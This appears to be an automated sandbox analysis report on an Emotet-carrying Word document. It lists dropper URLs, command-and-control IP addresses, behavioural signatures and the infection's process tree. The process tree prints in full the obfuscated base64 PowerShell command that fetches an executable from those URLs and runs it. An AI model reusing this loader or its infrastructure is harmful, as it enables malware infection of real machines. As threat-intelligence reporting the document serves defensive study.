Analysis

  • max time kernel
    146s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    21/07/2020, 03:50

General

  • Target
    SecuriteInfo.com.Mal.DocDl-L.16992.21295.doc
  • Size 173KB
  • Sample200721-49krxer2bj
  • SHA256 53dfc48b5b049b05895bc4e2e5fca037946e69d083cdac2e6c222b76c86f4763
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://gobisz.com/wp-content/wbhJWVHG/

  • exe.dropper

    http://mytestingserver.ml/wp-admin/41m/

  • exe.dropper

    https://gachchiuaxit.com/wp-admin/wkrl/

  • exe.dropper

    http://ripro.martinface.com/wp-admin/nkf75/

  • exe.dropper

    https://pan.martinface.com/CloudreveInstaller/gf6b59/

Extracted

Family
  • emotet

C2
  • 124.45.106.173:443

  • 212.51.142.238:8080

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 108.48.41.69:80

  • 200.41.121.90:80

  • 222.214.218.37:4143

  • 173.91.22.41:80

  • 78.189.165.52:8080

  • 190.108.228.62:443

  • 209.141.54.221:8080

  • 87.106.139.101:8080

  • 74.208.45.104:8080

  • 186.208.123.210:443

  • 109.117.53.230:443

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 153.126.210.205:7080

  • 109.74.5.95:8080

  • 91.211.88.52:7080

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.DocDl-L.16992.21295.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB5AGkAeQBzAGEAbwBxAHUAdABoAGEAcgBzAG8AZQBxAHUAagBpAG8AYwBoAD0AJwBkAGEAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQB0AHkAUABgAFIATwBgAFQAYABvAGAAYwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABzAGUAaQB0ACAAPQAgACcANAA2ADYAJwA7ACQAagBhAG8AbQByAGUAbwBxAHUAdABoAGEAaQBzAD0AJwB4AG8AbwB0ACcAOwAkAGoAZQBlAHgAcwB1AHUAeABsAHUAdQBnAHYAbwB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABzAGUAaQB0ACsAJwAuAGUAeABlACcAOwAkAHMAZQB0AGgAYwBoAHUAdQBwAHQAaABlAHUAbQA9ACcAcwBhAGMAaAAnADsAJAB5AHUAdQBkAGcAZQBhAGQAZABvAGkAdgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgB3AEUAYgBjAGwAaQBFAE4AVAA7ACQAagBhAGUAdABoAGsAbwBjAGgAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAaQBzAHoALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB3AGIAaABKAFcAVgBIAEcALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHQAZQBzAHQAaQBuAGcAcwBlAHIAdgBlAHIALgBtAGwALwB3AHAALQBhAGQAbQBpAG4ALwA0ADEAbQAvACoAaAB0AHQAcABzADoALwAvAGcAYQBjAGgAYwBoAGkAdQBhAHgAaQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AGsAcgBsAC8AKgBoAHQAdABwADoALwAvAHIAaQBwAHIAbwAuAG0AYQByAHQAaQBuAGYAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AawBmADcANQAvACoAaAB0AHQAcABzADoALwAvAHAAYQBuAC4AbQBhAHIAdABpAG4AZgBhAGMAZQAuAGMAbwBtAC8AQwBsAG8AdQBkAHIAZQB2AGUASQBuAHMAdABhAGwAbABlAHIALwBnAGYANgBiADUAOQAvACcALgAiAFMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAZwBvAGUAcQB1AHIAaQBlAGYAbgBlAG8AdgBoAGUAawBjAGkAYQBuAG0AbwBpAGMAaAA9ACcAegBpAHQAaABnAG8AYwBsAGUAdQB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAdQBtAG0AYQBlAGwAawBhAGUAZgBtAG8AdwAgAGkAbgAgACQAagBhAGUAdABoAGsAbwBjAGgAKQB7AHQAcgB5AHsAJAB5AHUAdQBkAGcAZQBhAGQAZABvAGkAdgAuACIAZABvAGAAVwBOAGwATwBhAGAARABgAEYAaQBMAEUAIgAoACQAZwBlAHUAbQBtAGEAZQBsAGsAYQBlAGYAbQBvAHcALAAgACQAagBlAGUAeABzAHUAdQB4AGwAdQB1AGcAdgBvAHoAKQA7ACQAaAB1AHUAcABjAHUAYQBkAHkAdQBoAGYAZQBlAHEAdQBjAGEAdQB0AHQAaABpAG8AbQA9ACcAZABhAGsAdABpAG8AZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGoAZQBlAHgAcwB1AHUAeABsAHUAdQBnAHYAbwB6ACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMgA4ADIANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAYABlAGEAYABUAEUAIgAoACQAagBlAGUAeABzAHUAdQB4AGwAdQB1AGcAdgBvAHoAKQA7ACQAagBlAHUAeQBwAGEAbwBzAHcAaQBlAG4AagBlAHUAaABkAGUAbwB0AGgAaQBhAHgAPQAnAHoAZQByAHMAYQBpAGwAYwBoAGEAbwB0AHoAdQBhAGsAegB1AHUAZAB5AGEAaQBsACcAOwBiAHIAZQBhAGsAOwAkAHoAbwBpAGoAbgB1AGEAbABrAGUAZQBrAHcAZQBlAHgAeABvAG8AeAA9ACcAeQBvAGUAcQB1AHAAbwBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAbwBlAHAAcQB1AG8AYQBoAD0AJwB3AGEAdQB6AHQAaABvAHUAZAByAGkAYQB0AGcAdQB1AGMAaAB0AGkAYQBnAGMAdQBuACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    PID:3952
  • C:\Users\Admin\466.exe
    C:\Users\Admin\466.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\SysWOW64\EsdSip\msvcp140_1.exe
      "C:\Windows\SysWOW64\EsdSip\msvcp140_1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:3572

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2980-7-0x00000000006F0000-0x00000000006FC000-memory.dmp

        memory/3572-10-0x00000000004D0000-0x00000000004DC000-memory.dmp